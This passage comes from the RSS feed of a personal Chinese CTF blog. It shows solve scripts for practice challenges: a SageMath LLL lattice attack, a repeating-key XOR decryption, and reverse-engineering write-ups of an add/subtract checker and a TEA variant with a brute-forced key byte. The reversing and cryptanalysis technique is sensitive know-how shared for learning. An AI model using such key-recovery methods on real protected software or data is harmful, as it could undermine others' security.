    71229461213142919346904865844975917255119439992501630368712083457562572987703, 16114686718014289723082144014633157871938855520267677347584656837586670455351,
    33815553137609375986764941536846486955311356747431282265813722199746367730735, 83230726604103337485693252608736987952116487439584868153421572585765208737752,
    43354624060867962612688844511954799809306957508254538657246407957691125473891, 55101837278890697174045987723057079542992530782626626822696566148569826190699,
    62604177849321207690994918211253550152229643480313270600641056287690505746500, 55392545954254989540181949652718594327551409387597584348155637070136573822824,
    28077377409202524772685778716251907003804101264114658216348829339456013295161, 21334443181285981988980698630756886134980141537264094330711028083765063415519,
    86527877688353267156038544409564951171579421083230184768315012173819906199896, 65794756895324638675873258762812358451842848189145910550661817702224116966369,
    22957500705937080580790222196044227350593392941014901984708370379340604555411, 55977668885664502413144853336297159131177754737530642324233093247568745687864,
    93062235767859648250412725812749448881541642649971084665181528969581777561465, 30474926227967272254439075001191161577976221357861668422513122909667896147233,
    60775836432659248756300048642443361744048616393839129752849968709547592033670, 71214544835243381339076088571162567904668832029672120026798494828609569503119,
    1174815806395901492096195189104319047839644470732310954592448712895225126130, 25608109273384978479485966037827618297462947734861101290796152980521502852654,
    84310874165903335358606830377169502406570533488803476591113974411344926639939, 24825972828150211947708356276934254637682047694949045115854000286055596575358,
    77671717686612226841883804936168777380412228821522967173353349296517170636360, 69846508771180325151756459684876846450893191201713121999727511653375604855218,
    8987813778406417907094761426890842138014909328197870288562454428726660271907, 30440204987717603713083763738703598556857003088625013718943318268794375542978,
    19521407840482588407487908680073693029442255108207197779397873576957114219574, 53017306130976718162852673259699032134557815647762813929925333742376644678749,
    15774515989940084946089586257040469965291992992385643947928102390855958180000
]

# Ensure c is a SageMath vector
c = vector(Zmod(p), c_list)

n = len(c)

# Convert c components to SageMath integer type ZZ
c_int = [ZZ(x) for x in c]

# Construct the lattice basis matrix M
M = Matrix(ZZ, n + 1, n)
for i in range(n):
    M[i, i] = p
for i in range(n):
    M[n, i] = c_int[i]

print(&amp;quot;Matrix M constructed. Running LLL...&amp;quot;)
# Run LLL
B = M.LLL()
print(&amp;quot;LLL computation finished.&amp;quot;)
# print(&amp;quot;Reduced Basis B (first few rows):&amp;quot;) # Optional: print basis if needed
# print(B.nrows())
# for i in range(min(5, B.nrows())): # Print first 5 rows or fewer
#    print(f&amp;quot;B[{i}]: {B[i]}&amp;quot;)

# --- Try to find the correct vector ---
target_vec = None
if B[0].is_zero():
    print(&amp;quot;B[0] is the zero vector. Trying B[1]...&amp;quot;)
    if B.nrows() &amp;gt; 1 and not B[1].is_zero():
         target_vec = B[1]
         print(&amp;quot;Using B[1] as the target vector.&amp;quot;)
    else:
        print(&amp;quot;B[1] is also zero or does not exist. Cannot proceed.&amp;quot;)
else:
    # Check if B[0] magnitude seems reasonable (heuristic)
    # A very small norm might indicate the zero vector or an issue.
    # Check nbits of the first component as a rough proxy for size.
    if abs(B[0][0]).nbits() &amp;gt; 100: # Expect components ~135 bits
        target_vec = B[0]
        print(&amp;quot;Using B[0] as the target vector.&amp;quot;)
    else:
        print(f&amp;quot;B[0] seems potentially too small (first component has {abs(B[0][0]).nbits()} bits). Checking B[1]...&amp;quot;)
        if B.nrows() &amp;gt; 1 and not B[1].is_zero() and abs(B[1][0]).nbits() &amp;gt; 100:
            target_vec = B[1]
            print(&amp;quot;Using B[1] as the target vector.&amp;quot;)
        else:
             print(&amp;quot;B[1] is also zero, too small, or doesn&amp;#39;t exist. Defaulting back to B[0] or stopping.&amp;quot;)
             # Decide whether to proceed with B[0] or stop if both seem wrong
             if not B[0].is_zero():
                 print(&amp;quot;Proceeding with potentially small B[0].&amp;quot;)
                 target_vec = B[0]
             else:
                 print(&amp;quot;Both B[0] and B[1] seem problematic. Stopping.&amp;quot;)
                 target_vec = None # Ensure we don&amp;#39;t proceed


if target_vec is None:
    print(&amp;quot;Could not identify a suitable short vector from LLL basis.&amp;quot;)
else:
    # print(f&amp;quot;Using vector: {target_vec}&amp;quot;) # Optional: print the vector being used
    flag = &amp;quot;&amp;quot;
    print(&amp;quot;Attempting to recover flag from the selected vector...&amp;quot;)

    found_flag = True
    possible_chars = list(range(32, 127)) # ASCII printable range

    for i, val in enumerate(target_vec): # Use enumerate to get index if needed
        abs_val = abs(ZZ(val))
        if abs_val == 0:
            print(f&amp;quot;Error: Component {i} is zero.&amp;quot;)
            flag += &amp;quot;?&amp;quot;
            found_char = False # Maintain consistency
            found_flag = False # Mark overall flag recovery as failed
            continue # Skip to the next component

        found_char = False
        for char_code in possible_chars:
            if abs_val % char_code == 0:
                potential_prime = abs_val // char_code
                # Check if quotient is non-zero and prime
                # Add bit size check for robustness
                if potential_prime != 0 and potential_prime.is_prime() and 120 &amp;lt; potential_prime.nbits() &amp;lt; 140:
                     flag += chr(char_code)
                     found_char = True
                     break # Found the correct factor
        if not found_char:
            # If no factor is found, print more info
            print(f&amp;quot;Error: Could not find valid character factor for value {abs_val} (nbits: {abs_val.nbits()}) at index {i}&amp;quot;)
            flag += &amp;quot;?&amp;quot;
            found_flag = False

    # Print final result
    if found_flag:
        print(&amp;quot;\nSuccessfully recovered flag:&amp;quot;)
        print(flag)
    else:
        print(&amp;quot;\nCould not recover the full flag. Partial result:&amp;quot;)
        print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Xxxxxxxor&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import binascii
import math

# --- 本次连接获取的新数据 ---
key_decimal_str = &amp;quot;129159542755632&amp;quot;
ciphertext_hex = &amp;quot;312d18e90576e487ecb33034d1e7c8737024740619e64564155759a615558407a9f6756471e7cc9634d&amp;quot;
# --- 数据结束 ---

try:
    key_decimal = int(key_decimal_str)

    # --- 根据新的数字计算密钥字节 (大端序) ---
    # hex(129159542755632) -&amp;gt; 0x7558407a9f6750 -&amp;gt; 需要 7 bytes
    num_bytes = 7 # 根据上面计算，这次是7字节
    print(f&amp;quot;Attempting key interpretation: Decimal {key_decimal} -&amp;gt; {num_bytes} bytes (BIG-endian)&amp;quot;)
    key_bytes = key_decimal.to_bytes(num_bytes, byteorder=&amp;#39;big&amp;#39;)
    # 密钥应该是 b&amp;#39;\x75\x58\x40\x7a\x9f\x67\x50&amp;#39;

except ValueError:
    print(f&amp;quot;Error: Could not convert &amp;#39;{key_decimal_str}&amp;#39; to integer.&amp;quot;)
    exit()
except OverflowError:
     print(f&amp;quot;Error: Decimal number issue with {num_bytes} bytes.&amp;quot;)
     exit()

# 将十六进制密文转换为 bytes
ciphertext_bytes = binascii.unhexlify(ciphertext_hex)
print(f&amp;quot;Key length: {len(key_bytes)} bytes. Ciphertext length: {len(ciphertext_bytes)} bytes.&amp;quot;) # 应该输出 7 和 49

# 执行 XOR 解密
result_bytes = bytearray()
key_len = len(key_bytes)
if key_len == 0:
    print(&amp;quot;Error: Key is empty.&amp;quot;)
    exit()

for i in range(len(ciphertext_bytes)):
    # 密文字节与对应密钥字节（循环使用）进行 XOR
    xor_byte = ciphertext_bytes[i] ^ key_bytes[i % key_len]
    result_bytes.append(xor_byte)

# 尝试将解密后的 bytes 解码为字符串
try:
    decrypted_text = result_bytes.decode(&amp;#39;utf-8&amp;#39;)
    print(&amp;quot;Decrypted Text:&amp;quot;)
    print(decrypted_text)
    # 因为 49 % 7 == 0，这次可能得到完整的 flag
except UnicodeDecodeError:
    print(&amp;quot;Failed to decode result as UTF-8. Here are the raw bytes:&amp;quot;)
    print(result_bytes)
    print(&amp;quot;Hex representation of result:&amp;quot;)
    print(binascii.hexlify(result_bytes).decode(&amp;#39;utf-8&amp;#39;))
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Thu, 01 May 2025 00:00:00 GMT</pubDate></item><item><title>Reverse 做题记录 (2)</title><link>https://langqi99.com/blog/re2/</link><guid isPermaLink="true">https://langqi99.com/blog/re2/</guid><description>做了两道主站的题 TEA加密 思路接近</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/re2/&quot;&gt;https://langqi99.com/blog/re2/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;import Collapse from &amp;quot;../../components/mdx/Collapse.astro&amp;quot;;
import Diff from &amp;quot;../../components/mdx/Diff.astro&amp;quot;;
import Error from &amp;quot;../../components/mdx/Error.astro&amp;quot;;
import Info from &amp;quot;../../components/mdx/Info.astro&amp;quot;;
import Kbd from &amp;quot;../../components/mdx/Kbd.astro&amp;quot;;
import Success from &amp;quot;../../components/mdx/Success.astro&amp;quot;;
import Warning from &amp;quot;../../components/mdx/Warning.astro&amp;quot;;
import TimeLine from &amp;quot;../../components/mdx/TimeLine.astro&amp;quot;;
import LinkCard from &amp;quot;../../components/mdx/LinkCard.astro&amp;quot;;&lt;/p&gt;
&lt;h1&gt;ezMath&lt;/h1&gt;
&lt;h2&gt;题目&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://210.30.97.133:8000/challenges#ezMath-222&quot;&gt;题目链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;SSSCTF ezMath 1&lt;/p&gt;
&lt;h2&gt;解题&lt;/h2&gt;
&lt;p&gt;开局 &lt;Kbd&gt;Shift &lt;/Kbd&gt;+&lt;Kbd&gt;F12 &lt;/Kbd&gt;，找到flag检验&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/re2/1745324409179.png&quot; alt=&quot;1745324409179&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后喜报&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/re2/1745324460523.png&quot; alt=&quot;1745324460523&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;Warning&gt;Sorry, this node is too big to display &lt;/Warning&gt;&lt;/p&gt;
&lt;p&gt;这个节点太大了，显示不了，但是可以修改 &lt;code&gt;IDA/cfg/hexrays.cfg&lt;/code&gt;的 &lt;code&gt;MAX_FUNCSIZE&lt;/code&gt;，默认应该是64，改成1024即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/re2/1745324813328.png&quot; alt=&quot;1745324813328&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/re2/1745324819137.png&quot; alt=&quot;1745324819137&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现就是个加加减减然后和一个东西比较&lt;/p&gt;
&lt;p&gt;那个东西是&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/re2/1745325260154.png&quot; alt=&quot;1745325260154&quot;&gt;&lt;/p&gt;
&lt;p&gt;我做的时候还不会提取这玩意&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;res = []
with open(&amp;quot;t.log&amp;quot;, &amp;quot;r&amp;quot;) as f:
    s = f.read()
    count = 0
    rcount = 0
    tmp = &amp;quot;&amp;quot;
    for line in s.split(&amp;quot;\n&amp;quot;):
        line = line.split(&amp;quot;db &amp;quot;)
        line = line[1][1:4].replace(&amp;quot;h&amp;quot;, &amp;quot;&amp;quot;).replace(&amp;quot; &amp;quot;, &amp;quot;&amp;quot;)
        count += 1
        tmp = line + tmp
        if count % 4 == 0:
            rcount += 1
            res.append(tmp)
            tmp = &amp;quot;&amp;quot;
        if rcount == 40:
            break

for i in range(40):
    print(f&amp;quot;v{i} = 0x{res[i]}&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;原来 &lt;Kbd&gt;Shift &lt;/Kbd&gt;+&lt;Kbd&gt;E &lt;/Kbd&gt; 要选中数据才能提取&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/re2/1745325788780.png&quot; alt=&quot;1745325788780&quot;&gt;&lt;/p&gt;
&lt;p&gt;接下来就是解密，我们发现这些数经过一些加减然后再比较&lt;/p&gt;
&lt;p&gt;那么我们直接逆回去，把比较的数加减回去，然后就可以得到flag&lt;/p&gt;
&lt;p&gt;具体实现上，就是倒着运行代码，然后加换减，减换加&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import logging

# 配置日志
logging.basicConfig(
    level=logging.INFO,
    format=&amp;#39;%(asctime)s - %(levelname)s - %(message)s&amp;#39;,
    handlers=[
        logging.FileHandler(&amp;#39;solve.log&amp;#39;),
        logging.StreamHandler()
    ]
)

logger = logging.getLogger(__name__)

ans0 = 0xFFFFFF9A
ans1 = 0x0006D
ans2 = 0x0007E
....
ans38 = 0xFFFFFFED
ans39 = 0x00035
for i in range(2, 42):
    exec(f&amp;quot;v{i} = ans{i-2}&amp;quot;)
with open(&amp;quot;ori&amp;quot;, &amp;quot;r&amp;quot;) as f:
    s = f.read()
    lines = s.split(&amp;quot;\n&amp;quot;)
    lines.reverse()
    for line in lines:
        if &amp;quot;+=&amp;quot; in line:
            line = line.replace(&amp;quot;+=&amp;quot;, &amp;quot;-=&amp;quot;)
        elif &amp;quot;-=&amp;quot; in line:
            line = line.replace(&amp;quot;-=&amp;quot;, &amp;quot;+=&amp;quot;)
        elif &amp;quot;++&amp;quot; in line:
            line = line.split(&amp;quot;++&amp;quot;)
            line = line[1] + &amp;quot;-=1&amp;quot;
        elif &amp;quot;--&amp;quot; in line:
            line = line.split(&amp;quot;--&amp;quot;)
            line = line[1] + &amp;quot;+=1&amp;quot;
        exec(line)
        # logger.info(line)
for i in range(2, 42):
    exec(f&amp;quot;print(chr(v{i}%256),end=&amp;#39;&amp;#39;)&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;坑&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;代码里面有少量的++v和--v 而非v+=14 5000行里只有10+个&lt;/li&gt;
&lt;li&gt;不要&lt;code&gt;line.replace(&amp;quot;+=&amp;quot;, &amp;quot;-=&amp;quot;).replace(&amp;quot;-=&amp;quot;, &amp;quot;+=&amp;quot;)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;TEA&lt;/h1&gt;
&lt;h2&gt;题目&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://210.30.97.133:8000/challenges#TEA-264&quot;&gt;题目链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;flag用 &lt;code&gt;sssctf{}&lt;/code&gt;包裹&lt;/p&gt;
&lt;h2&gt;解题&lt;/h2&gt;
&lt;p&gt;开局仍然是 &lt;Kbd&gt;Shift &lt;/Kbd&gt;+&lt;Kbd&gt;F12 &lt;/Kbd&gt;跟上面一样找到入口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/re2/1745326592615.png&quot; alt=&quot;1745326592615&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们一个一个看&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;printf(&amp;quot;Input:&amp;quot;);
scanf(&amp;quot;%s&amp;quot;, Str);
if ( strlen(Str) != 32 )
  return -1;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入长度必须为32，然后我们看下面 &lt;code&gt;merge4&lt;/code&gt;函数&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;/*
char Str[100];
0 1 2 3 4 5 6 7 8 9 a b c d e f
(0) (1) (2) (3) (4) (5) (6) (7) (8) (9) (a) (b) (c) (d) (e) (f)
*/
int *__cdecl sub_4015AA(int a1, int a2)
{
  int *result; // eax
  int i; // [esp+Ch] [ebp-4h]

  for ( i = 0; i &amp;lt;= 7; ++i )
  {
    result = (int *)(4 * i + a2);
    /*
        #offset: 0 4 8 c
        #type: int* 4 bytes
    */
    *result = *(char *)(4 * i + 3 + a1) | (((((*(char *)(4 * i + a1) &amp;lt;&amp;lt; 8) | *(char *)(4 * i + 1 + a1)) &amp;lt;&amp;lt; 8) | *(char *)(4 * i + 2 + a1)) &amp;lt;&amp;lt; 8);
    /*
        #addr:    0         4         8         c
        #offset: (0 1 2 3) (4 5 6 7) (8 9 a b) (c d e f)
    */
  }
  return result;
  /*
      _DWORD content[8];
      0 1 2 3 4 5 6 7 8 9 a b c d e f
      (0 1 2 3) (4 5 6 7) (8 9 a b) (c d e f)
  */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里我画了内存的表，也就是说把char[32]转换成int[8]存到content&lt;/p&gt;
&lt;p&gt;然后看 &lt;code&gt;merge2&lt;/code&gt;函数&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;/*
char Str[100];
0 1 2 3 4 5 6 7 8 9 a b c d e f
(0) (1) (2) (3) (4) (5) (6) (7) (8) (9) (a) (b) (c) (d) (e) (f)
*/

for ( i = 0; i &amp;lt;= 3; ++i )
{
    result = (int *)(4 * i + a2);
    /*
        #offset: 0 4 8 c
        #type: int* 4 bytes
    */

    *result = *(char *)(2 * i + 1 + a1) | (*(char *)(2 * i + a1) &amp;lt;&amp;lt; 8); 
    /*
        #addr:    0         4         8         c
        #offset: (0 0 0 1) (0 0 2 3) (0 0 4 5) (0 0 6 7)
    */
}
/*
char key[16];
0 1 2 3 4 5 6 7 8 9 a b c d e f
(0) (0) (0) (1) (0) (0) (2) (3) (0) (0) (4) (5) (0) (0) (6) (7)
*/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里把char[32]存到char[16] 不过发现这里key只用到了&lt;strong&gt;前8个字节&lt;/strong&gt; 也就是前八个char&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tea&lt;/code&gt;函数先放着不管&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sub_401696((int)content, (int)dec_32);&lt;/code&gt;在这&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;char Str[100]-&amp;gt;Str[32]
char dec_32[400];
for ( i = 0; i &amp;lt;= 7; ++i )
{
    *(_DWORD *)(dec_32 + 16 * i) = HIBYTE(*(_DWORD *)(4 * i + content));
    *(_DWORD *)(dec_32 + 16 * i + 4) = (unsigned __int8)BYTE2(*(_DWORD *)(4 * i + content));
    *(_DWORD *)(dec_32 + 16 * i + 8) = (unsigned __int8)BYTE1(*(_DWORD *)(4 * i + content));
    *(_DWORD *)(dec_32 + 16 * i + 12 ) = (unsigned __int8)*(_DWORD *)(4 * i + content);
}
-user:
这在做什么 简单直观概括

-4o:
这段代码的作用是：**将一个 32 字节的缓冲区（`content` 指向）中的每 4 字节（一个 `DWORD`）分拆成字节后重新排列，并以 16 字节为单位写入另一个缓冲区 `dec_32` 中。**

简单直观地说就是：

👉 **每4字节拆成4个字节，按从高到低的顺序重新按列排布到新的内存中，每次写入16字节，共8组。**

例如：
假设 `content` 里的前4字节是 `0xAABBCCDD`，这段代码会把：
- `AA`（高字节）放到新位置的偏移0
- `BB` 放偏移4
- `CC` 放偏移8
- `DD` 放偏移12
然后处理下一个4字节，再放入下一组16字节，以此类推，重复8次。

结果：把原始的&amp;quot;按行排列&amp;quot;的结构，变成了&amp;quot;按列排列&amp;quot;的结构，有点类似矩阵转置那种感觉。适合于后续的加密或解码处理。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是比较函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/re2/1745327408375.png&quot; alt=&quot;1745327408375&quot;&gt;&lt;/p&gt;
&lt;p&gt;所以我们立马就能&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;v2 = [0]*32
v2[0] = 176
v2[1] = 71
...
v2[28] = 58
v2[29] = 94
v2[30] = 28
v2[31] = 205
encrypt_data = [0]*8
for i in range(8):
    encrypt_data[i] = v2[i*4] &amp;lt;&amp;lt; 24 | v2[i*4+1] &amp;lt;&amp;lt; 16 | v2[i*4+2] &amp;lt;&amp;lt; 8 | v2[i*4+3]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们知道加密是需要密钥的，这里分析一下并总结&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;明文是由我们输入的32字节&lt;/li&gt;
&lt;li&gt;密钥是明文的前8个字节&lt;/li&gt;
&lt;li&gt;加密函数是&lt;code&gt;TEA&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密文是&lt;code&gt;encrypt_data&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;还记得题目一开始说的吗，flag是&lt;code&gt;sssctf{}&lt;/code&gt;包裹的，所以密钥的前7个字节是&lt;code&gt;sssctf{&lt;/code&gt;，只需爆破最后一个字节即可&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;guess = []
guess += [chr(i) for i in range(ord(&amp;#39;a&amp;#39;), ord(&amp;#39;z&amp;#39;)+1)]
guess += [chr(i) for i in range(ord(&amp;#39;A&amp;#39;), ord(&amp;#39;Z&amp;#39;)+1)]
guess += [chr(i) for i in range(ord(&amp;#39;0&amp;#39;), ord(&amp;#39;9&amp;#39;)+1)]
guess += [&amp;#39;!&amp;#39;, &amp;#39;@&amp;#39;, &amp;#39;#&amp;#39;, &amp;#39;$&amp;#39;, &amp;#39;%&amp;#39;, &amp;#39;^&amp;#39;, &amp;#39;&amp;amp;&amp;#39;, &amp;#39;*&amp;#39;,
          &amp;#39;(&amp;#39;, &amp;#39;)&amp;#39;, &amp;#39;-&amp;#39;, &amp;#39;_&amp;#39;, &amp;#39;+&amp;#39;, &amp;#39;=&amp;#39;, &amp;#39;{&amp;#39;, &amp;#39;}&amp;#39;, &amp;#39;[&amp;#39;, &amp;#39;]&amp;#39;, &amp;#39;|&amp;#39;, &amp;#39;:&amp;#39;, &amp;#39;;&amp;#39;, &amp;#39;,&amp;#39;, &amp;#39;.&amp;#39;, &amp;#39;/&amp;#39;, &amp;#39;?&amp;#39;, &amp;#39;~&amp;#39;] # 这一行是ai补全的 我不确定有没有这么多
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后看&lt;code&gt;tea&lt;/code&gt;函数&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;unsigned int __cdecl tea(_DWORD *ori, int a2, int key)
{
  unsigned int *v3; // eax
  unsigned int *v4; // eax
  unsigned int result; // eax
  int v6; // [esp+Ch] [ebp-1Ch]
  int index; // [esp+10h] [ebp-18h]
  unsigned int i; // [esp+14h] [ebp-14h]
  unsigned int v9; // [esp+18h] [ebp-10h]
  unsigned int v10; // [esp+1Ch] [ebp-Ch]

  if ( a2 &amp;gt; 1 )
  {
    index = 52 / a2 + 6;                        // 12
    v9 = 0;
    v10 = ori[a2 - 1];
    do
    {
      v9 -= 1640531527;
      v6 = (v9 &amp;gt;&amp;gt; 2) &amp;amp; 3;
      for ( i = 0; i &amp;lt; a2 - 1; ++i )
      {
        v3 = &amp;amp;ori[i];
        *v3 += ((ori[i + 1] ^ v9) + (v10 ^ *(_DWORD *)(4 * (v6 ^ i &amp;amp; 3) + key))) ^ (((4 * ori[i + 1]) ^ (v10 &amp;gt;&amp;gt; 5))
                                                                                  + ((ori[i + 1] &amp;gt;&amp;gt; 3) ^ (16 * v10)));
        v10 = *v3;
      }
      v4 = &amp;amp;ori[a2 - 1];
      *v4 += ((*ori ^ v9) + (v10 ^ *(_DWORD *)(4 * (v6 ^ i &amp;amp; 3) + key))) ^ (((4 * *ori) ^ (v10 &amp;gt;&amp;gt; 5))
                                                                          + ((*ori &amp;gt;&amp;gt; 3) ^ (16 * v10)));
      result = *v4;
      v10 = result;
      --index;
    }
    while ( index );
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这玩意里面挺混淆的，我头发耗光了把那一堆东西化简成这样，自己都没想到能如此简洁，这该不会是&lt;strong&gt;re的精髓&lt;/strong&gt;吧&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;index = 12;
sum = 0;
o7 = ori[7];
do
{
    sum -= 0x61C88647;
    sum2 = (sum &amp;gt;&amp;gt; 2) &amp;amp; 3;
    for (i=0; i &amp;lt; 7; ++i)
    {
        ori[i] += ((ori[(i+1) % 8] ^ sum) + (ori[(i-1) % 8] ^ *(_DWORD *)(4 * (sum2 ^ i &amp;amp; 3) + key))) ^ (((4 * ori[(i+1) % 8]) ^ (ori[(i-1) % 8] &amp;gt;&amp;gt; 5)) + ((ori[(i+1) % 8] &amp;gt;&amp;gt; 3) ^ (16 * ori[(i-1) % 8])));
    }
    --index;
}
while (index);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来参考了文章&lt;a href=&quot;https://blog.csdn.net/liKeQing1027520/article/details/141287289&quot;&gt;tea 加密解密算法（面向ctf-reverse使用，光速学会tea逆向套路）&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;(实际上在化简前就看文章了 耗了大半天一直觉得我遇到的这个TEA是超级复杂的TEA)&lt;/p&gt;
&lt;p&gt;tea解密其实跟上面那道题类似，仍然是倒着运行，然后加换减，减换加&lt;/p&gt;
&lt;p&gt;这里异或就不用管了，因为异或的逆运算就是异或，和上面一题一样&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sum&lt;/code&gt;的初始值是&lt;code&gt;0x61C88647 * -index&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后&lt;code&gt;python&lt;/code&gt;的话注意要手动溢出&lt;code&gt;&amp;amp; 0xFFFFFFFF&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;for ch in guess:
    key_str = &amp;quot;sssctf{&amp;quot;+ch  # 8 char
    key = [0]*4
    for i in range(0, 4):
        key[i] = ord(key_str[i*2+1]) | (ord(key_str[i*2]) &amp;lt;&amp;lt; 8)
        # TEA解密
        ori = encrypt_data.copy()
        index = 12
        sum = (0x61C88647 * -index) &amp;amp; 0xFFFFFFFF
        while index &amp;gt; 0:
            sum2 = (sum &amp;gt;&amp;gt; 2) &amp;amp; 3
            for i in range(7, -1, -1):
                ori[i] -= ((ori[(i+1) % 8] ^ sum) + (ori[(i-1) % 8] ^ key[sum2 ^ (i &amp;amp; 3)])) ^ (
                    ((4 * ori[(i+1) % 8]) ^ (ori[(i-1) % 8] &amp;gt;&amp;gt; 5)) + ((ori[(i+1) % 8] &amp;gt;&amp;gt; 3) ^ (16 * ori[(i-1) % 8])))
                ori[i] &amp;amp;= 0xFFFFFFFF
            sum += 0x61C88647
            sum &amp;amp;= 0xFFFFFFFF
            index -= 1
        # output:
        decrypted_text = &amp;quot;&amp;quot;
        for value in ori:
            decrypted_text += chr((value &amp;gt;&amp;gt; 24) &amp;amp; 0xFF)
            decrypted_text += chr((value &amp;gt;&amp;gt; 16) &amp;amp; 0xFF)
            decrypted_text += chr((value &amp;gt;&amp;gt; 8) &amp;amp; 0xFF)
            decrypted_text += chr(value &amp;amp; 0xFF)
        print(f&amp;quot;使用密钥 {key_str} 解密结果: {decrypted_text}&amp;quot;)
        if decrypted_text.startswith(&amp;quot;sssctf{&amp;quot;):
            print(f&amp;quot;找到密钥: {key_str}&amp;quot;)
            break
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;两道题难度差距不小，但核心思想挺像的，都是逆向（字面意思）逆着运行&lt;/li&gt;
&lt;li&gt;写等价代码还是很有必要的&lt;/li&gt;
&lt;li&gt;在运算中要考虑数据类型 比如这道题直接决定了8字节密钥只需要爆破一个字节 如果只看char[16]的话 可能真的觉得要爆破9个字节&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Tue, 22 Apr 2025 00:00:00 GMT</pubDate></item><item><title>Reverse 做题记录 (1)</title><link>https://langqi99.com/blog/re1/</link><guid isPermaLink="true">https://langqi99.com/blog/re1/</guid><description>MnZn第一次做RE题</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/re1/&quot;&gt;https://langqi99.com/blog/re1/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;import Collapse from &amp;quot;../../components/mdx/Collapse.astro&amp;quot;;
import Diff from &amp;quot;../../components/mdx/Diff.astro&amp;quot;;
import Error from &amp;quot;../../components/mdx/Error.astro&amp;quot;;
import Info from &amp;quot;../../components/mdx/Info.astro&amp;quot;;
import Kbd from &amp;quot;../../components/mdx/Kbd.astro&amp;quot;;
import Success from &amp;quot;../../components/mdx/Success.astro&amp;quot;;
import Warning from &amp;quot;../../components/mdx/Warning.astro&amp;quot;;
import TimeLine from &amp;quot;../../components/mdx/TimeLine.astro&amp;quot;;
import LinkCard from &amp;quot;../../components/mdx/LinkCard.astro&amp;quot;;&lt;/p&gt;
&lt;h2&gt;题目&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf.show/challenges#%E9%80%86%E5%90%914-250&quot;&gt;题目链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;CTF Show 20&lt;/p&gt;
&lt;h2&gt;解题&lt;/h2&gt;
&lt;p&gt;main函数&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  qword_140004618 = (__int64)malloc(0x10ui64);
  qword_140004620 = qword_140004618;
  *(_QWORD *)(qword_140004618 + 8) = 0i64;
  sub_140001020(&amp;quot;请输入正确的数字:\n&amp;quot;);
  sub_140001080(&amp;quot;%lld&amp;quot;);
  ((void (__fastcall __noreturn *)())sub_1400010E0)();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;观察发现是传入flag，然后程序检验flag是否正确&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sub_1400010E0&lt;/code&gt;进行了一系列运算，我基于猜测对变量进行简单重命名和分析&lt;/p&gt;
